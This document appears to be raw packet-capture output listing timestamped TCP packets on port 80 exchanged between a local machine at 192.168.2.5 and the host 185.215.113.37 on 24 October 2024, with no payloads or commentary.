Oct 24, 2024 02:50:14.273212910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:14.310585976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:14.310622931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:14.310657978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:14.310676098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:14.310883045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:14.313772917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:14.313801050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:14.313852072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:14.313878059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:14.313885927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:14.313920021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:14.313947916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:14.314007998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:14.590677023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:14.596163988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:15.376498938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:15.376702070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:15.481482983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:15.486901045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:16.262999058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:16.263179064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:17.008919954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:17.015592098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:17.787755013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:17.787925005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:18.711771011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:18.717133045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:18.993302107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:18.993333101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:18.993347883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:18.993364096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:18.993396997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:18.993411064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:18.993427038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:18.993438959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:18.993511915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:18.993593931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:18.993643045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:18.993645906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:18.993683100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:18.993690968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:18.993722916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:18.993726015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:18.993741989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:18.993765116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:18.993798971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:18.993905067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:18.993952036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:18.994096994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:18.994147062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.150315046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150382996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150435925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150470018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150502920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150506973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.150540113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150544882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.150574923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150604963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.150609970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150638103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.150643110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150671005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.150676966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150703907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.150710106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150738955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.150747061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150763035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.150794983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.150837898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150871992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150885105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.150923967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.150938034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150973082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.150985003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.151006937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.151017904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.151057005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.151060104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.151096106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.151120901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.151128054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.151155949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.151161909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.151170969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.151196003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.151220083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.151249886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.151633024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.151690006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.151715994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.151772022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.306700945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.306735992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.306771040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.306791067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.306794882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.306828022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.306838036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.306862116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.306874037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.306898117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.306907892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.306941032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307046890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.307080984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.307095051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307116032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.307128906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307148933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.307159901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307199955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307223082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.307271004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307293892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.307347059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307348967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.307385921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.307399988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307416916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.307434082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307473898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307564974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.307598114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.307631969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.307636023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307646036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307667971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.307699919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307730913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307899952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.307933092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.307960987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307984114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.307985067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.308017969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.308034897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.308053017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.308063984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.308087111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.308096886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.308120966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.308154106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.308154106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.308155060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.308198929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.308588982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.308643103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.308645010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.308676958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.308690071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.308711052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.308729887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.308747053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.308763981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.308780909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.308795929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.308816910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.308829069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.308851957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.308906078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.308931112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.308931112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.308950901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.309371948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.309421062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.309425116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.309458971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.309468985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.309490919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.309509039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.309525967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.309535027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.309561014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.309571981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.309595108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.309604883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.309628010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.309638977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.309664011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.309674025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.309708118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.423949957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.424025059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.424062014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.424096107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.424094915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.424094915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.424120903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.424134016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.424140930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.424173117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.424180984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.424218893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463185072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.463242054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.463272095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.463305950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.463357925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.463366985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463366985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463366985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463366985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463392019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.463402987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463428020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.463433981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463471889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463495970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.463541985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463562965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.463598013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.463606119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463643074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463684082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.463712931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.463730097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463747025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463764906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.463800907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.463816881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463835001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.463843107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463876963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.463959932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.464011908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.464015961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.464060068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.464066029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.464101076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.464112043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.464134932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.464148045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.464169979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.464178085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.464212894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.464538097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.464589119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.464591026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.464632034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.464639902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.464664936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.464673996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.464700937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.464711905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.464736938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.464740992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.464778900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.465009928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.465060949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.465065002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.465101004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.465114117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.465147018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.465159893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.465182066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.465188980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.465214968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.465224981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.465250015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.465251923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.465281963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.465292931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.465317011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.465327024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.465351105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.465358973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.465388060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.465393066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.465430021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.465971947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.466005087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.466022015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.466042995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.466046095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.466126919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.466145039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.466162920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.466173887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.466207027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.466319084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.466370106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.540436983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.540448904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.540455103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.540513992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.540524960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.540534973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.540590048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.540616035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.579910994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.579921007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.579932928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.579988956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.579999924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.580025911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580032110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.580049038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580060005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580068111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.580091000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.580159903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580169916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580214024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.580293894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580305099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580343962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.580353975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580383062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.580398083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.580442905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580455065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580466986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580478907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.580483913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580502987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.580529928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.580641985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580687046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.580708981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580719948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580753088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.580773115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580784082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580796003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.580812931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.580840111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.581034899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.581046104 CEST	80	49704	185.215.113.37	192.168.2.5
